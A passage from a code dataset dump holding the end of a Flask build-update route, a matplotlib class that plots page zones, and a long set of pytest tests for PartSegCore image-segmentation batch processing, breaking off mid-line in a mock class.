os.remove(build_details_filename)\n except Exception:\n pass\n\n\n@buildAPI.route('/tool/update/buildmarkup', methods=['POST'])\n@authService.unauthorized\ndef update_build_markup():\n try:\n update_build_markup = request.get_json()\n except Exception:\n raise ValueError(\"Please provide build Ids\")\n request_build_details = request.get_json()\n version_build_dic = request_build_details.get(\"updateMarkupBuild\")\n if request_build_details.get(\"updateMarkupBuild\"):\n for version_id in version_build_dic.keys():\n for build in version_build_dic[version_id]:\n result = BuildHelperService.add_update_build(build,\n version_id,\n None)\n else:\n return jsonify(\n json.loads(\n dumps({\"result\": \"success\", \"message\": \"Build Not updated\", \"data\": {\"id\": update_build_markup}}))), 200\n return jsonify(\n json.loads(\n dumps({\"result\": \"success\", \"message\": \"Build updated\", \"data\": {\"id\": update_build_markup}}))), 200\n\n\n","sub_path":"server/modules/BuildAPI.py","file_name":"BuildAPI.py","file_ext":"py","file_size_in_byte":14585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"8023261","text":"\"\"\"Plot zones on sheet.\"\"\"\n\nfrom matplotlib import pyplot as plt\nfrom matplotlib.patches import Rectangle\n\nclass xmlPlotZones(object):\n\n def __init__(self, page_plot, zone, colour, linewidth, linestyle):\n\n self.page_plot = page_plot\n\n self.zone_top = zone[1]\n self.zone_right = zone[2]\n self.zone_bottom = zone[3]\n self.zone_left = zone[4]\n\n self.colour = colour\n self.linewidth = linewidth\n self.linestyle = linestyle\n self.plot_zone()\n\n def plot_zone(self):\n \"\"\"plot zone on page_plot object.\"\"\"\n\n self.page_plot.add_patch(Rectangle((self.zone_left, self.zone_bottom),\n (self.zone_right-self.zone_left),\n (self.zone_top-self.zone_bottom),\n fill = None, edgecolor=self.colour, alpha = 1,\n linewidth = self.linewidth,\n linestyle = self.linestyle))\n","sub_path":"text_dictionaries/xml_build_charts_zones/codebase/xmlPlotZones.py","file_name":"xmlPlotZones.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"472024964","text":"# pylint: disable=no-self-use\n\nimport os\nimport shutil\nimport sys\nimport time\nfrom glob import glob\nfrom itertools import dropwhile\nfrom typing import Callable\n\nimport numpy as np\nimport pandas as pd\nimport pytest\nimport tifffile\n\nfrom PartSegCore.algorithm_describe_base import ROIExtractionProfile\nfrom PartSegCore.analysis import AnalysisAlgorithmSelection\nfrom PartSegCore.analysis.batch_processing import batch_backend\nfrom PartSegCore.analysis.batch_processing.batch_backend import (\n CalculationManager,\n CalculationProcess,\n ResponseData,\n SheetData,\n do_calculation,\n)\nfrom PartSegCore.analysis.calculation_plan import (\n Calculation,\n CalculationPlan,\n CalculationTree,\n FileCalculation,\n MaskCreate,\n MaskIntersection,\n MaskSuffix,\n MaskSum,\n MaskUse,\n MeasurementCalculate,\n RootType,\n Save,\n)\nfrom PartSegCore.analysis.measurement_base import AreaType, Leaf, MeasurementEntry, Node, PerComponent\nfrom PartSegCore.analysis.measurement_calculation import MeasurementProfile\nfrom PartSegCore.analysis.save_functions import save_dict\nfrom PartSegCore.image_operations import RadiusType\nfrom PartSegCore.io_utils import LoadPlanExcel, SaveBase\nfrom PartSegCore.mask.io_functions import MaskProjectTuple, SaveROI, SaveROIOptions\nfrom PartSegCore.mask_create import MaskProperty\nfrom PartSegCore.roi_info import ROIInfo\nfrom PartSegCore.segmentation import ROIExtractionAlgorithm, ROIExtractionResult\nfrom PartSegCore.segmentation.noise_filtering import DimensionType\nfrom PartSegCore.segmentation.restartable_segmentation_algorithms import LowerThresholdFlowAlgorithm\nfrom PartSegCore.universal_const import Units\nfrom PartSegCore.utils import BaseModel\nfrom PartSegImage import Channel, Image, ImageWriter, TiffImageReader\n\nENGINE = None if pd.__version__ == \"0.24.0\" else \"openpyxl\"\n\n\nclass MocksCalculation:\n def __init__(self, file_path):\n self.file_path = file_path\n\n\n# TODO add check of per component measurements\n\n\nclass DummyParams(BaseModel):\n channel: Channel = 0\n\n\nclass DummyExtraction(ROIExtractionAlgorithm):\n __argument_class__ = DummyParams\n\n @classmethod\n def support_time(cls):\n return True\n\n @classmethod\n def support_z(cls): # pragma: no cover\n return True\n\n def calculation_run(self, report_fun: Callable[[str, int], None]) -> ROIExtractionResult:\n channel = self.image.get_channel(0)\n if channel.max() == 0:\n raise ValueError(\"Empty image\")\n return ROIExtractionResult(np.ones(channel.shape, dtype=np.uint8), self.get_segmentation_profile())\n\n def get_info_text(self): # pragma: no cover\n return \"\"\n\n @classmethod\n def get_name(cls) -> str:\n return \"Dummy\"\n\n\nclass DummySpacingCheck(DummyExtraction):\n def calculation_run(self, report_fun: Callable[[str, int], None]) -> ROIExtractionResult:\n assert self.image.spacing == (3, 2, 1)\n return ROIExtractionResult(np.ones(self.image.shape, dtype=np.uint8), self.get_segmentation_profile())\n\n\n@pytest.fixture()\ndef _register_dummy_extraction():\n assert \"Dummy\" not in AnalysisAlgorithmSelection.__register__\n AnalysisAlgorithmSelection.register(DummyExtraction)\n yield\n AnalysisAlgorithmSelection.__register__.pop(\"Dummy\")\n assert \"Dummy\" not in AnalysisAlgorithmSelection.__register__\n\n\n@pytest.fixture()\ndef _register_dummy_spacing():\n assert \"Dummy\" not in AnalysisAlgorithmSelection.__register__\n AnalysisAlgorithmSelection.register(DummySpacingCheck)\n yield\n AnalysisAlgorithmSelection.__register__.pop(\"Dummy\")\n assert \"Dummy\" not in AnalysisAlgorithmSelection.__register__\n\n\n@pytest.fixture()\ndef _prepare_spacing_data(tmp_path):\n data = np.zeros((4, 1, 10, 10), dtype=np.uint8)\n data[:, :, 2:-2, 2:-2] = 1\n tifffile.imwrite(tmp_path / \"test1.tiff\", data)\n\n image = Image(data, (1, 1, 1), axes_order=\"ZCYX\", file_path=tmp_path / \"test2.tiff\")\n ImageWriter.save(image, image.file_path)\n\n\n@pytest.fixture()\ndef _prepare_mask_project_data(tmp_path):\n data = np.zeros((4, 10, 10), dtype=np.uint8)\n data[:, 2:4, 2:4] = 1\n data[:, 6:8, 2:4] = 2\n data[:, 6:8, 6:8] = 3\n\n image = Image(data, (1, 1, 1), axes_order=\"ZYX\", file_path=tmp_path / \"test.tiff\")\n ImageWriter.save(image, image.file_path)\n\n roi = np.zeros(data.shape, dtype=np.uint8)\n roi[:, :5, :5] = 1\n roi[:, 5:10, :5] = 2\n roi[:, :5, 5:10] = 3\n roi[:, 5:10, 5:10] = 4\n\n roi = image.fit_mask_to_image(roi)\n\n proj = MaskProjectTuple(file_path=image.file_path, image=image, roi_info=ROIInfo(roi))\n\n SaveROI.save(tmp_path / \"test.seg\", proj, SaveROIOptions())\n\n\n@pytest.fixture()\ndef ltww_segmentation():\n parameters = LowerThresholdFlowAlgorithm.__argument_class__(\n channel=1,\n minimum_size=200,\n threshold={\n \"name\": \"Base/Core\",\n \"values\": {\n \"core_threshold\": {\"name\": \"Manual\", \"values\": {\"threshold\": 30000}},\n \"base_threshold\": {\"name\": \"Manual\", \"values\": {\"threshold\": 13000}},\n },\n },\n noise_filtering={\"name\": \"Gauss\", \"values\": {\"dimension_type\": DimensionType.Layer, \"radius\": 1.0}},\n side_connection=False,\n flow_type={\"name\": \"Euclidean\", \"values\": {}},\n )\n\n return ROIExtractionProfile(name=\"test\", algorithm=\"Lower threshold with watershed\", values=parameters)\n\n\n@pytest.fixture()\ndef measurement_list():\n chosen_fields = [\n MeasurementEntry(\n name=\"Segmentation Volume\",\n calculation_tree=Leaf(name=\"Volume\", area=AreaType.ROI, per_component=PerComponent.No),\n ),\n MeasurementEntry(\n name=\"Segmentation Volume/Mask Volume\",\n calculation_tree=Node(\n left=Leaf(name=\"Volume\", area=AreaType.ROI, per_component=PerComponent.No),\n op=\"/\",\n right=Leaf(name=\"Volume\", area=AreaType.Mask, per_component=PerComponent.No),\n ),\n ),\n MeasurementEntry(\n name=\"Segmentation Components Number\",\n calculation_tree=Leaf(name=\"Components number\", area=AreaType.ROI, per_component=PerComponent.No),\n ),\n ]\n statistic = MeasurementProfile(name=\"base_measure\", chosen_fields=chosen_fields, name_prefix=\"\")\n return MeasurementCalculate(channel=0, units=Units.µm, measurement_profile=statistic, name_prefix=\"\")\n\n\n@pytest.fixture()\ndef simple_measurement_list():\n chosen_fields = [\n MeasurementEntry(\n name=\"Segmentation Volume\",\n calculation_tree=Leaf(name=\"Volume\", area=AreaType.ROI, per_component=PerComponent.No),\n ),\n ]\n statistic = MeasurementProfile(name=\"base_measure\", chosen_fields=chosen_fields, name_prefix=\"\")\n return MeasurementCalculate(channel=-1, units=Units.µm, measurement_profile=statistic, name_prefix=\"\")\n\n\n@pytest.fixture()\ndef calculation_plan_dummy(simple_measurement_list):\n tree = CalculationTree(\n RootType.Mask_project,\n [\n CalculationTree(\n ROIExtractionProfile(name=\"test\", algorithm=DummyExtraction.get_name(), values=DummyParams()),\n [CalculationTree(simple_measurement_list, [])],\n )\n ],\n )\n return CalculationPlan(tree=tree, name=\"test\")\n\n\n@pytest.fixture()\ndef calculation_plan_dummy_spacing(calculation_plan_dummy):\n calculation_plan_dummy.execution_tree.operation = RootType.Image\n return calculation_plan_dummy\n\n\n@pytest.fixture()\ndef calculation_plan(ltww_segmentation, measurement_list):\n mask_suffix = MaskSuffix(name=\"\", suffix=\"_mask\")\n tree = CalculationTree(\n operation=RootType.Image,\n children=[\n CalculationTree(mask_suffix, [CalculationTree(ltww_segmentation, [CalculationTree(measurement_list, [])])])\n ],\n )\n return CalculationPlan(tree=tree, name=\"test\")\n\n\n@pytest.fixture()\ndef calculation_plan_long(ltww_segmentation, measurement_list):\n mask_suffix = MaskSuffix(name=\"\", suffix=\"_mask\")\n children = []\n for i in range(20):\n measurement = measurement_list.copy()\n measurement.name_prefix = f\"{i}_\"\n measurement.measurement_profile = measurement.measurement_profile.copy()\n measurement.measurement_profile.name_prefix = f\"{i}_\"\n children.append(\n CalculationTree(mask_suffix, [CalculationTree(ltww_segmentation, [CalculationTree(measurement, [])])])\n )\n tree = CalculationTree(\n operation=RootType.Image,\n children=children,\n )\n return CalculationPlan(tree=tree, name=\"test\")\n\n\n@pytest.fixture()\ndef calculation_plan2(ltww_segmentation, measurement_list):\n ltww_segmentation.values.channel = 0\n\n tree = CalculationTree(\n RootType.Mask_project, [CalculationTree(ltww_segmentation, [CalculationTree(measurement_list, [])])]\n )\n return CalculationPlan(tree=tree, name=\"test2\")\n\n\n@pytest.fixture()\ndef simple_plan(simple_measurement_list):\n def _create_simple_plan(root_type: RootType, save: Save):\n parameters = {\n \"channel\": 0,\n \"minimum_size\": 200,\n \"threshold\": {\"name\": \"Manual\", \"values\": {\"threshold\": 13000}},\n \"noise_filtering\": {\"name\": \"Gauss\", \"values\": {\"dimension_type\": DimensionType.Layer, \"radius\": 1.0}},\n \"side_connection\": False,\n }\n segmentation = ROIExtractionProfile(name=\"test\", algorithm=\"Lower threshold\", values=parameters)\n tree = CalculationTree(\n root_type,\n [CalculationTree(segmentation, [CalculationTree(simple_measurement_list, []), CalculationTree(save, [])])],\n )\n return CalculationPlan(tree=tree, name=\"test\")\n\n return _create_simple_plan\n\n\n@pytest.fixture()\ndef calculation_plan3(ltww_segmentation):\n mask_suffix = MaskSuffix(name=\"\", suffix=\"_mask\")\n chosen_fields = [\n MeasurementEntry(\n name=\"Segmentation Volume\",\n calculation_tree=Leaf(name=\"Volume\", area=AreaType.ROI, per_component=PerComponent.No),\n ),\n MeasurementEntry(\n name=\"Segmentation Volume/Mask Volume\",\n calculation_tree=Node(\n left=Leaf(name=\"Volume\", area=AreaType.ROI, per_component=PerComponent.No),\n op=\"/\",\n right=Leaf(name=\"Volume\", area=AreaType.Mask, per_component=PerComponent.No),\n ),\n ),\n MeasurementEntry(\n name=\"Segmentation Components Number\",\n calculation_tree=Leaf(name=\"Components number\", area=AreaType.ROI, per_component=PerComponent.No),\n ),\n MeasurementEntry(\n name=\"Segmentation Volume per component\",\n calculation_tree=Leaf(name=\"Volume\", area=AreaType.ROI, per_component=PerComponent.Yes),\n ),\n ]\n statistic = MeasurementProfile(name=\"base_measure\", chosen_fields=chosen_fields, name_prefix=\"\")\n statistic_calculate = MeasurementCalculate(channel=0, units=Units.µm, measurement_profile=statistic, name_prefix=\"\")\n mask_create = MaskCreate(\n name=\"\",\n mask_property=MaskProperty(\n dilate=RadiusType.NO,\n dilate_radius=0,\n fill_holes=RadiusType.NO,\n max_holes_size=0,\n save_components=True,\n clip_to_mask=False,\n reversed_mask=False,\n ),\n )\n parameters2 = {\n \"channel\": 1,\n \"minimum_size\": 200,\n \"threshold\": {\"name\": \"Manual\", \"values\": {\"threshold\": 30000}},\n \"noise_filtering\": {\"name\": \"Gauss\", \"values\": {\"dimension_type\": DimensionType.Layer, \"radius\": 1.0}},\n \"side_connection\": False,\n }\n\n segmentation2 = ROIExtractionProfile(name=\"test\", algorithm=\"Lower threshold\", values=parameters2)\n chosen_fields = [\n MeasurementEntry(\n name=\"Segmentation Volume\",\n calculation_tree=Leaf(name=\"Volume\", area=AreaType.ROI, per_component=PerComponent.No),\n ),\n MeasurementEntry(\n name=\"Segmentation Volume/Mask Volume\",\n calculation_tree=Node(\n left=Leaf(name=\"Volume\", area=AreaType.ROI, per_component=PerComponent.No),\n op=\"/\",\n right=Leaf(name=\"Volume\", area=AreaType.Mask, per_component=PerComponent.No),\n ),\n ),\n MeasurementEntry(\n name=\"Segmentation Components Number\",\n calculation_tree=Leaf(name=\"Components number\", area=AreaType.ROI, per_component=PerComponent.No),\n ),\n MeasurementEntry(\n name=\"Mask Volume per component\",\n calculation_tree=Leaf(name=\"Volume\", area=AreaType.Mask, per_component=PerComponent.Yes),\n ),\n ]\n statistic = MeasurementProfile(name=\"base_measure2\", chosen_fields=chosen_fields[:], name_prefix=\"aa_\")\n statistic_calculate2 = MeasurementCalculate(\n channel=0, units=Units.µm, measurement_profile=statistic, name_prefix=\"\"\n )\n chosen_fields.append(\n MeasurementEntry(\n name=\"Segmentation Volume per component\",\n calculation_tree=Leaf(name=\"Volume\", area=AreaType.ROI, per_component=PerComponent.Yes),\n )\n )\n statistic = MeasurementProfile(name=\"base_measure3\", chosen_fields=chosen_fields[:], name_prefix=\"bb_\")\n statistic_calculate3 = MeasurementCalculate(\n channel=0, units=Units.µm, measurement_profile=statistic, name_prefix=\"\"\n )\n tree = CalculationTree(\n RootType.Image,\n [\n CalculationTree(\n mask_suffix,\n [\n CalculationTree(\n ltww_segmentation,\n [\n CalculationTree(statistic_calculate, []),\n CalculationTree(\n mask_create,\n [\n CalculationTree(\n segmentation2,\n [\n CalculationTree(statistic_calculate2, []),\n CalculationTree(statistic_calculate3, []),\n ],\n ),\n ],\n ),\n ],\n )\n ],\n )\n ],\n )\n return CalculationPlan(tree=tree, name=\"test\")\n\n\n@pytest.fixture(\n params=[\n MaskUse(name=\"test1\"),\n MaskSum(name=\"\", mask1=\"test1\", mask2=\"test2\"),\n MaskIntersection(name=\"\", mask1=\"test1\", mask2=\"test2\"),\n ]\n)\ndef mask_operation_plan(request, simple_measurement_list):\n parameters = {\n \"channel\": 0,\n \"minimum_size\": 200,\n \"threshold\": {\"name\": \"Manual\", \"values\": {\"threshold\": 13000}},\n \"noise_filtering\": {\"name\": \"Gauss\", \"values\": {\"dimension_type\": DimensionType.Layer, \"radius\": 1.0}},\n \"side_connection\": False,\n }\n parameters2 = dict(**parameters)\n parameters2[\"channel\"] = 1\n segmentation = ROIExtractionProfile(name=\"test\", algorithm=\"Lower threshold\", values=parameters)\n segmentation2 = ROIExtractionProfile(name=\"test2\", algorithm=\"Lower threshold\", values=parameters2)\n tree = CalculationTree(\n RootType.Image,\n [\n CalculationTree(\n segmentation,\n [CalculationTree(MaskCreate(name=\"test1\", mask_property=MaskProperty.simple_mask()), [])],\n ),\n CalculationTree(\n segmentation2,\n [CalculationTree(MaskCreate(name=\"test2\", mask_property=MaskProperty.simple_mask()), [])],\n ),\n CalculationTree(\n request.param, [CalculationTree(segmentation2, [CalculationTree(simple_measurement_list, [])])]\n ),\n ],\n )\n return CalculationPlan(tree=tree, name=\"test\")\n\n\ndef wait_for_calculation(manager):\n for _ in range(int(120 / 0.1)):\n manager.get_results()\n if manager.has_work:\n time.sleep(0.1)\n else:\n break\n else: # pragma: no cover\n manager.kill_jobs()\n pytest.fail(\"jobs hanged\")\n\n manager.writer.finish()\n if sys.platform == \"darwin\":\n time.sleep(2) # pragma: no cover\n else:\n time.sleep(0.4)\n\n\n# noinspection DuplicatedCode\nclass TestCalculationProcess:\n def test_mask_op(self, data_test_dir, tmpdir, mask_operation_plan):\n file_path = os.path.join(data_test_dir, \"stack1_components\", \"stack1_component1.tif\")\n calc = Calculation(\n [file_path],\n base_prefix=os.path.dirname(file_path),\n result_prefix=tmpdir,\n measurement_file_path=os.path.join(tmpdir, \"test3.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=mask_operation_plan,\n voxel_size=(1, 1, 1),\n )\n calc_process = CalculationProcess()\n res = calc_process.do_calculation(FileCalculation(file_path, calc))\n assert isinstance(res, list)\n assert isinstance(res[0], ResponseData)\n\n def test_one_file(self, data_test_dir, calculation_plan):\n process = CalculationProcess()\n file_path = os.path.join(data_test_dir, \"stack1_components\", \"stack1_component5.tif\")\n calc = MocksCalculation(file_path)\n process.calculation = calc\n process.image = TiffImageReader.read_image(file_path)\n process.iterate_over(calculation_plan.execution_tree)\n assert len(process.measurement[0]) == 3\n\n @pytest.mark.filterwarnings(\"ignore:This method will be removed\")\n def test_full_pipeline_base(self, tmpdir, data_test_dir, monkeypatch, calculation_plan):\n monkeypatch.setattr(batch_backend, \"CalculationProcess\", MockCalculationProcess)\n file_pattern = os.path.join(data_test_dir, \"stack1_components\", \"stack1_component*[0-9].tif\")\n file_paths = sorted(glob(file_pattern))\n assert os.path.basename(file_paths[0]) == \"stack1_component1.tif\"\n calc = Calculation(\n file_paths,\n base_prefix=data_test_dir,\n result_prefix=data_test_dir,\n measurement_file_path=os.path.join(tmpdir, \"test.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=calculation_plan,\n voxel_size=(1, 1, 1),\n )\n calc_process = CalculationProcess()\n for file_path in file_paths:\n res = calc_process.do_calculation(FileCalculation(file_path, calc))\n assert isinstance(res, list)\n assert isinstance(res[0], ResponseData)\n\n @pytest.mark.filterwarnings(\"ignore:This method will be removed\")\n def test_full_pipeline(self, tmpdir, data_test_dir, monkeypatch, calculation_plan):\n monkeypatch.setattr(batch_backend, \"CalculationProcess\", MockCalculationProcess)\n file_pattern = os.path.join(data_test_dir, \"stack1_components\", \"stack1_component*[0-9].tif\")\n file_paths = sorted(glob(file_pattern))\n assert os.path.basename(file_paths[0]) == \"stack1_component1.tif\"\n calc = Calculation(\n file_paths,\n base_prefix=data_test_dir,\n result_prefix=data_test_dir,\n measurement_file_path=os.path.join(tmpdir, \"test.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=calculation_plan,\n voxel_size=(1, 1, 1),\n )\n\n manager = CalculationManager()\n manager.set_number_of_workers(3)\n manager.add_calculation(calc)\n wait_for_calculation(manager)\n assert os.path.exists(os.path.join(tmpdir, \"test.xlsx\"))\n df = pd.read_excel(os.path.join(tmpdir, \"test.xlsx\"), index_col=0, header=[0, 1], engine=ENGINE)\n assert df.shape == (8, 4)\n for i in range(8):\n assert os.path.basename(df.name.units[i]) == f\"stack1_component{i+1}.tif\"\n\n @pytest.mark.filterwarnings(\"ignore:This method will be removed\")\n def test_full_pipeline_long(self, tmpdir, data_test_dir, monkeypatch, calculation_plan_long):\n monkeypatch.setattr(batch_backend, \"CalculationProcess\", MockCalculationProcess)\n file_pattern = os.path.join(data_test_dir, \"stack1_components\", \"stack1_component*[0-9].tif\")\n file_paths = sorted(glob(file_pattern))[:4]\n assert os.path.basename(file_paths[0]) == \"stack1_component1.tif\"\n calc = Calculation(\n file_paths,\n base_prefix=data_test_dir,\n result_prefix=data_test_dir,\n measurement_file_path=os.path.join(tmpdir, \"test.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=calculation_plan_long,\n voxel_size=(1, 1, 1),\n )\n\n manager = CalculationManager()\n manager.set_number_of_workers(3)\n manager.add_calculation(calc)\n wait_for_calculation(manager)\n res_path = os.path.join(tmpdir, \"test.xlsx\")\n assert os.path.exists(res_path)\n df = pd.read_excel(res_path, index_col=0, header=[0, 1], engine=ENGINE)\n assert df.shape == (4, 20 * 3 + 1)\n data, err = LoadPlanExcel.load([res_path])\n assert not err\n assert str(data[\"test\"]) == str(calculation_plan_long)\n\n df2 = pd.read_excel(res_path, header=[0, 1], engine=ENGINE, sheet_name=\"info test\")\n assert df2.shape == (154, 3)\n\n @pytest.mark.filterwarnings(\"ignore:This method will be removed\")\n def test_full_pipeline_error(self, tmp_path, data_test_dir, monkeypatch, calculation_plan):\n data_dir = tmp_path / \"data\"\n data_dir.mkdir()\n file_pattern_copy = os.path.join(data_test_dir, \"stack1_components\", \"stack1_component*.tif\")\n file_paths = sorted(glob(file_pattern_copy))\n for el in file_paths:\n shutil.copy(el, data_dir)\n shutil.copy(data_dir / \"stack1_component1.tif\", data_dir / \"stack1_component10.tif\")\n file_pattern = os.path.join(data_dir, \"stack1_component*[0-9].tif\")\n file_paths = sorted(glob(file_pattern))\n result_dir = tmp_path / \"result\"\n result_dir.mkdir()\n\n assert os.path.basename(file_paths[0]) == \"stack1_component1.tif\"\n calc = Calculation(\n file_paths,\n base_prefix=str(data_dir),\n result_prefix=str(data_dir),\n measurement_file_path=os.path.join(result_dir, \"test.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=calculation_plan,\n voxel_size=(1, 1, 1),\n )\n\n manager = CalculationManager()\n manager.set_number_of_workers(3)\n manager.add_calculation(calc)\n wait_for_calculation(manager)\n\n assert os.path.exists(os.path.join(result_dir, \"test.xlsx\"))\n df = pd.read_excel(os.path.join(result_dir, \"test.xlsx\"), index_col=0, header=[0, 1], engine=ENGINE)\n assert df.shape == (8, 4)\n for i in range(8):\n assert os.path.basename(df.name.units[i]) == f\"stack1_component{i + 1}.tif\"\n df2 = pd.read_excel(os.path.join(result_dir, \"test.xlsx\"), sheet_name=\"Errors\", index_col=0, engine=ENGINE)\n assert df2.shape == (1, 2)\n str(df2.loc[0][\"error description\"]).startswith(\"[Errno 2]\")\n\n @pytest.mark.filterwarnings(\"ignore:This method will be removed\")\n def test_full_pipeline_mask_project(self, tmpdir, data_test_dir, calculation_plan2):\n file_pattern = os.path.join(data_test_dir, \"*nucleus.seg\")\n file_paths = glob(file_pattern)\n calc = Calculation(\n file_paths,\n base_prefix=data_test_dir,\n result_prefix=data_test_dir,\n measurement_file_path=os.path.join(tmpdir, \"test2.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=calculation_plan2,\n voxel_size=(1, 1, 1),\n )\n\n manager = CalculationManager()\n manager.set_number_of_workers(2)\n manager.add_calculation(calc)\n wait_for_calculation(manager)\n\n assert os.path.exists(os.path.join(tmpdir, \"test2.xlsx\"))\n df = pd.read_excel(os.path.join(tmpdir, \"test2.xlsx\"), index_col=0, header=[0, 1], engine=ENGINE)\n assert df.shape == (2, 4)\n\n def test_do_calculation(self, tmpdir, data_test_dir, calculation_plan3):\n file_path = os.path.join(data_test_dir, \"stack1_components\", \"stack1_component1.tif\")\n calc = Calculation(\n [file_path],\n base_prefix=data_test_dir,\n result_prefix=data_test_dir,\n measurement_file_path=os.path.join(tmpdir, \"test3.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=calculation_plan3,\n voxel_size=(1, 1, 1),\n )\n index, res = do_calculation((1, file_path), calc)\n assert index == 1\n assert isinstance(res, list)\n assert isinstance(res[0], ResponseData)\n\n @pytest.mark.parametrize(\n (\"file_name\", \"root_type\"),\n [\n (os.path.join(\"stack1_components\", \"stack1_component1.tif\"), RootType.Image),\n (\"stack1_component1_1.tgz\", RootType.Image),\n (\"stack1_component1_1.tgz\", RootType.Project),\n (\"test_nucleus_1_1.seg\", RootType.Image),\n (\"test_nucleus_1_1.seg\", RootType.Mask_project),\n ],\n )\n @pytest.mark.parametrize(\"save_method\", save_dict.values())\n def test_do_calculation_save(self, tmpdir, data_test_dir, file_name, root_type, save_method: SaveBase, simple_plan):\n save_desc = Save(\n suffix=\"_test\",\n directory=\"\",\n algorithm=save_method.get_name(),\n short_name=save_method.get_short_name(),\n values=save_method.get_default_values(),\n )\n plan = simple_plan(root_type, save_desc)\n file_path = os.path.join(data_test_dir, file_name)\n calc = Calculation(\n [file_path],\n base_prefix=os.path.dirname(file_path),\n result_prefix=tmpdir,\n measurement_file_path=os.path.join(tmpdir, \"test3.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=plan,\n voxel_size=(1, 1, 1),\n )\n calc_process = CalculationProcess()\n res = calc_process.do_calculation(FileCalculation(file_path, calc))\n assert isinstance(res, list)\n assert isinstance(res[0], ResponseData)\n\n def test_do_calculation_calculation_process(self, tmpdir, data_test_dir, calculation_plan3):\n file_path = os.path.join(data_test_dir, \"stack1_components\", \"stack1_component1.tif\")\n calc = Calculation(\n [file_path],\n base_prefix=data_test_dir,\n result_prefix=data_test_dir,\n measurement_file_path=os.path.join(tmpdir, \"test3.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=calculation_plan3,\n voxel_size=(1, 1, 1),\n )\n calc_process = CalculationProcess()\n res = calc_process.do_calculation(FileCalculation(file_path, calc))\n assert isinstance(res, list)\n assert isinstance(res[0], ResponseData)\n\n @pytest.mark.filterwarnings(\"ignore:This method will be removed\")\n def test_full_pipeline_component_split_no_process(self, tmpdir, data_test_dir, monkeypatch, calculation_plan3):\n monkeypatch.setattr(batch_backend, \"CalculationProcess\", MockCalculationProcess)\n file_pattern = os.path.join(data_test_dir, \"stack1_components\", \"stack1_component*[0-9].tif\")\n file_paths = sorted(glob(file_pattern))\n assert os.path.basename(file_paths[0]) == \"stack1_component1.tif\"\n calc = Calculation(\n file_paths,\n base_prefix=data_test_dir,\n result_prefix=data_test_dir,\n measurement_file_path=os.path.join(tmpdir, \"test.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=calculation_plan3,\n voxel_size=(1, 1, 1),\n )\n calc_process = CalculationProcess()\n for file_path in file_paths:\n res = calc_process.do_calculation(FileCalculation(file_path, calc))\n assert isinstance(res, list)\n assert isinstance(res[0], ResponseData)\n\n @pytest.mark.filterwarnings(\"ignore:This method will be removed\")\n def test_full_pipeline_component_split(self, tmpdir, data_test_dir, calculation_plan3):\n file_pattern = os.path.join(data_test_dir, \"stack1_components\", \"stack1_component*[0-9].tif\")\n file_paths = glob(file_pattern)\n calc = Calculation(\n file_paths,\n base_prefix=data_test_dir,\n result_prefix=data_test_dir,\n measurement_file_path=os.path.join(tmpdir, \"test3.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=calculation_plan3,\n voxel_size=(1, 1, 1),\n )\n\n manager = CalculationManager()\n manager.set_number_of_workers(2)\n manager.add_calculation(calc)\n wait_for_calculation(manager)\n\n assert os.path.exists(os.path.join(tmpdir, \"test3.xlsx\"))\n df = pd.read_excel(os.path.join(tmpdir, \"test3.xlsx\"), index_col=0, header=[0, 1], engine=ENGINE)\n assert df.shape == (8, 10)\n df2 = pd.read_excel(os.path.join(tmpdir, \"test3.xlsx\"), sheet_name=1, index_col=0, header=[0, 1], engine=ENGINE)\n assert df2.shape[0] > 8\n assert df2.shape == (df[\"Segmentation Components Number\"][\"count\"].sum(), 6)\n df3 = pd.read_excel(os.path.join(tmpdir, \"test3.xlsx\"), sheet_name=2, index_col=0, header=[0, 1], engine=ENGINE)\n assert df3.shape == (df[\"Segmentation Components Number\"][\"count\"].sum(), 6)\n df4 = pd.read_excel(os.path.join(tmpdir, \"test3.xlsx\"), sheet_name=3, index_col=0, header=[0, 1], engine=ENGINE)\n assert df4.shape == (df[\"Segmentation Components Number\"][\"count\"].sum(), 8)\n\n @pytest.mark.usefixtures(\"_prepare_mask_project_data\")\n @pytest.mark.usefixtures(\"_register_dummy_extraction\")\n def test_fail_single_mask_project(self, tmp_path, calculation_plan_dummy):\n file_path = str(tmp_path / \"test.seg\")\n calc = Calculation(\n [file_path],\n base_prefix=str(tmp_path),\n result_prefix=str(tmp_path),\n measurement_file_path=str(tmp_path / \"test3.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=calculation_plan_dummy,\n voxel_size=(1, 1, 1),\n )\n calc_process = CalculationProcess()\n res = calc_process.do_calculation(FileCalculation(file_path, calc))\n assert len(res) == 4\n assert sum(isinstance(x, ResponseData) for x in res) == 3\n assert isinstance(next(iter(dropwhile(lambda x: isinstance(x, ResponseData), res)))[0], ValueError)\n\n @pytest.mark.usefixtures(\"_prepare_spacing_data\")\n @pytest.mark.usefixtures(\"_register_dummy_spacing\")\n def test_spacing_overwrite(self, tmp_path, calculation_plan_dummy_spacing):\n file_path1 = str(tmp_path / \"test1.tiff\")\n file_path2 = str(tmp_path / \"test2.tiff\")\n calc = Calculation(\n [file_path1, file_path2],\n base_prefix=str(tmp_path),\n result_prefix=str(tmp_path),\n measurement_file_path=str(tmp_path / \"test3.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=calculation_plan_dummy_spacing,\n voxel_size=(3, 2, 1),\n )\n calc_process = CalculationProcess()\n res = calc_process.do_calculation(FileCalculation(file_path1, calc))\n assert len(res) == 1\n assert isinstance(res[0], ResponseData)\n calc.overwrite_voxel_size = True\n res = calc_process.do_calculation(FileCalculation(file_path2, calc))\n assert len(res) == 1\n assert isinstance(res[0], ResponseData)\n\n\nclass MockCalculationProcess(CalculationProcess):\n def do_calculation(self, calculation: FileCalculation):\n if os.path.basename(calculation.file_path) == 